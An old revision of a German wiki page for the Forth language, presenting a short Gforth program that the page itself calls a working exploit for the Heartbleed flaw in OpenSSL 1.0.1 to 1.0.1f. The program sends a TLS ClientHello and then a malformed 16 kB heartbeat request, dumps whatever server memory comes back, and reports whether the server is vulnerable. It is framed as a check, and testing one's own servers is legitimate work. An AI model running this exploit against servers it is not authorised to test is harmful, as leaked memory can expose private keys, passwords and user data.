examples:heartbleed
**Dies ist eine alte Version des Dokuments!**
Heartbleed Check
Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!):
\ heartbleed check 11apr2014py require unix/socket.fs Create TLS-header $16 c, $03 c, $02 c, $00 c, $31 c, \ TLS Header $01 c, $00 c, $00 c, $2d c, \ Handshake header $03 c, $02 c, \ ClientHello field: version number (TLS 1.1) here 32 allot \ ClientHello field: random $00 c, \ ClientHello field: session id $00 c, $04 c, \ ClientHello field: cipher suite length $00 c, $33 c, $c0 c, $11 c, \ ClientHello field: cipher suite(s) $01 c, \ ClientHello field: compression support, length $00 c, \ ClientHello field: compression support, no compression (0) $00 c, $00 c, \ ClientHello field: extension length (0) here TLS-header - Constant header# Constant random32 Create TLS-heartbleed $18 c, $03 c, $02 c, $00 c, $03 c, \ TLS header $01 c, $40 c, $00 c, \ heartbleed request, 16kB (maximum for OpenSSL) here TLS-heartbleed - Constant heartbleed# : >random ( -- ) utime $1000000 um/mod nip random32 be-l! s" /dev/urandom" r/o open-file throw >r random32 4 + 28 r@ read-file throw drop r> close-file throw ; Create pollfds pollfd %size allot Variable buggy? : get-heartbleed ( addr u port -- ) 1000000 set-socket-timeout >random open-socket >r r@ fileno pollfds fd l! POLLIN pollfds events w! TLS-header header# r@ write-socket BEGIN r@ pad $10000 read-socket nip 0= UNTIL TLS-heartbleed heartbleed# r@ write-socket BEGIN r@ pad $10000 read-socket dup WHILE dump buggy? on REPEAT 2drop r> close-socket buggy? @ IF ." Heartbleed deteckted" ELSE ." Everything ok" THEN cr ; script? [IF] : ?nextarg ( -- addr u noarg-flag ) argc @ 1 > IF next-arg true ELSE false THEN ; ?nextarg drop ?nextarg [IF] s>number drop [ELSE] 443 [THEN] get-heartbleed bye [THEN]
examples/heartbleed.1397230509.txt.gz · Zuletzt geändert: 2014-04-11 17:35 von bernd